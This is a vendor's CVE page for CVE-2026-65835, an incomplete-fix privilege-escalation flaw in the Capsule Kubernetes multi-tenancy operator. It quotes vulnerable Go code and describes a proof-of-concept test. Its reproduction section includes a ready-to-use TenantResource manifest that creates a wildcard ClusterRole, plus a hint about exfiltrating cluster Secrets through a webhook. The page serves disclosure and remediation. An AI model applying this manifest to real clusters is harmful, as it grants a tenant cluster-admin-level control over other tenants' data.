CVE-2026-65835

CVE-2026-65835 is a medium-severity improper privilege management vulnerability in github.com/projectcapsule/capsule (go), affecting versions >= 0.13.0, <= 0.13.7. It is fixed in 0.13.8.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Capsule has an incomplete fix of CVE-2026-22872: TenantResource RawItems and Generators still allow cluster-scoped resource creation (cross-tenant privilege escalation)

CVE-2026-22872 (GHSA-qjjm-7j9w-pw72) reported that a Tenant Owner could create cluster-scoped resources
(e.g. ClusterRole, ValidatingWebhookConfiguration) through a TenantResource, because the controller
applies them with its cluster-admin ServiceAccount and SetNamespace is ineffective for cluster-scoped
kinds. The v0.13.0 fix added a cluster-scope rejection guard, but only on the NamespacedItems selection
path
(ResourceReference.LoadResources -> IsNamespacedGVK, error "cluster-scoped kind ... is not allowed"). The RawItems create path, the exact vector the original advisory named, and the Generators
path were not given this guard.
The vulnerability therefore persists in all releases v0.13.0 through
v0.13.7
and on trunk HEAD (8d89d6865d).

Details

TenantResource reconcile flow:

  • internal/controllers/resources/namespaced.go reconcile() obtains the apply client via loadClient();
    by default (impersonation off, no Spec.ServiceAccount) this is the manager client whose SA is bound to
    cluster-admin (charts/capsule/templates/rbac.yaml:488-501, {fullname}-manager-rolebinding ->
    roleRef cluster-admin).
  • Collector.Collect() (collect.go) processes spec.RawItems via handleRawItem and spec.Generators
    via handleGeneratorItem.

handleRawItem (collect.go:406-425, trunk HEAD, byte-identical to v0.13.0):

tmplString := tpl.FastTemplate(string(item.Raw), opts.Iterator.FastContext)
obj := &unstructured.Unstructured{}
unstructured.UnstructuredJSONScheme.Decode([]byte(tmplString), nil, obj)
if ns != nil { obj.SetNamespace(ns.Name) }   // ONLY mitigation
return obj, nil                                // NO IsNamespacedGVK / allowClusterScoped guard

handleGeneratorItem (collect.go:382-404) is the same: it only SetNamespaces on rendered objects.

The accumulated objects flow to pkg/api/processor/processor_func.go Reconcile() -> Apply() ->
clt.PatchApply(ctx, c, obj, ...) (line 167/378) with no scope check at any point.

By contrast, CollectNamespacedItems (collect.go:308) calls item.LoadResources(..., allowClusterScoped=false),
and pkg/template/reference.go:105-107 enforces:

if !allowClusterScoped && !isNamespaced {
    return nil, fmt.Errorf("cluster-scoped kind %s/%s is not allowed", ...)
}

So the guard the fix added is real, but it sits on a different (selection) path than the one the CVE
described (RawItems create path). For cluster-scoped kinds, SetNamespace is ignored by the Kubernetes API
server, so the object is created cluster-wide by the cluster-admin client.

Parent-fix diff confirmation: in v0.12.4 the RawItems handler in processor.go was the vulnerable code
(obj.SetNamespace(ns.Name) then createOrUpdate via r.client). v0.13.0 refactored this into
collect.go handleRawItem but left it without the new guard.

Proof of Concept

A self-contained in-process Go test (incompletefix_poc_test.go), run against trunk HEAD with go1.26.4,
proves the asymmetry:

  • TestRawItemPath_NoClusterScopeGuard: feeds a ClusterRole rawItem to handleRawItem -> object returned
    unchanged, no rejection (PASS).
  • TestNamespacedItemsPath_HasClusterScopeGuard: feeds the same ClusterRole kind to
    LoadResources(allowClusterScoped=false) -> rejected with
    "cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed" (PASS).
VULNERABLE: RawItems path accepted cluster-scoped rbac.authorization.k8s.io/v1/ClusterRole;
            metadata.namespace="tenant-ns" (ignored by API server for cluster-scoped kinds)
GUARDED:    NamespacedItems path correctly rejected cluster-scoped kind:
            cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed

End-to-end (cluster) reproduction:

  1. Deploy capsule (default Helm) with rbac.resources.create=true (the opt-in that exposes TenantResources
    to tenant owners; the configuration the original CVE applies to).
  2. As a Tenant Owner, create in a tenant namespace:
    apiVersion: capsule.clastix.io/v1beta2
    kind: TenantResource
    metadata: {name: pwn, namespace: <tenant-ns>}
    spec:
      resources:
        - namespaceSelector: {matchLabels: {capsule.clastix.io/tenant: <tenant>}}
          rawItems:
            - apiVersion: rbac.authorization.k8s.io/v1
              kind: ClusterRole
              metadata: {name: tenant-escalation}
              rules: [{apiGroups: ["*"], resources: ["*"], verbs: ["*"]}]
    
  3. Observe the cluster-scoped ClusterRole tenant-escalation is created by the cluster-admin controller,
    despite the tenant owner lacking cluster RBAC to create it. Swap in ValidatingWebhookConfiguration
    to intercept/exfiltrate cluster-wide Secrets.

Impact

A Tenant Owner (namespace-scoped) escalates to cluster-admin-equivalent privileges and can compromise all
tenants and the cluster control plane. Identical impact to CVE-2026-22872; the v0.13.0 remediation does not
close the RawItems/Generators vector.

The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access. Typical impact: privilege escalation beyond the intended level.

CVE-2026-65835 has a CVSS score of 6.6 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.13.8); upgrading removes the vulnerable code path.

Affected versions

github.com/projectcapsule/capsule (>= 0.13.0, <= 0.13.7)

Security releases

github.com/projectcapsule/capsule → 0.13.8 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Apply the same IsNamespacedGVK / allowClusterScoped rejection inside handleRawItem and
handleGeneratorItem, or centrally in Collector.AddToAccumulation / processor.Apply, so the create
path enforces the same cluster-scope policy as the selection path. (GlobalTenantResource shares the path
but is not a privesc, cluster-admin-only to create.)

Frequently Asked Questions

  1. What is CVE-2026-65835? CVE-2026-65835 is a medium-severity improper privilege management vulnerability in github.com/projectcapsule/capsule (go), affecting versions >= 0.13.0, <= 0.13.7. It is fixed in 0.13.8. The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access.
  2. How severe is CVE-2026-65835? CVE-2026-65835 has a CVSS score of 6.6 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/projectcapsule/capsule are affected by CVE-2026-65835? github.com/projectcapsule/capsule (go) versions >= 0.13.0, <= 0.13.7 is affected.
  4. Is there a fix for CVE-2026-65835? Yes. CVE-2026-65835 is fixed in 0.13.8. Upgrade to this version or later.
  5. Is CVE-2026-65835 exploitable, and should I be worried? Whether CVE-2026-65835 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-65835 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-65835? Upgrade github.com/projectcapsule/capsule to 0.13.8 or later.

Other vulnerabilities in github.com/projectcapsule/capsule

Stop the waste.
Protect your environment with Kodem.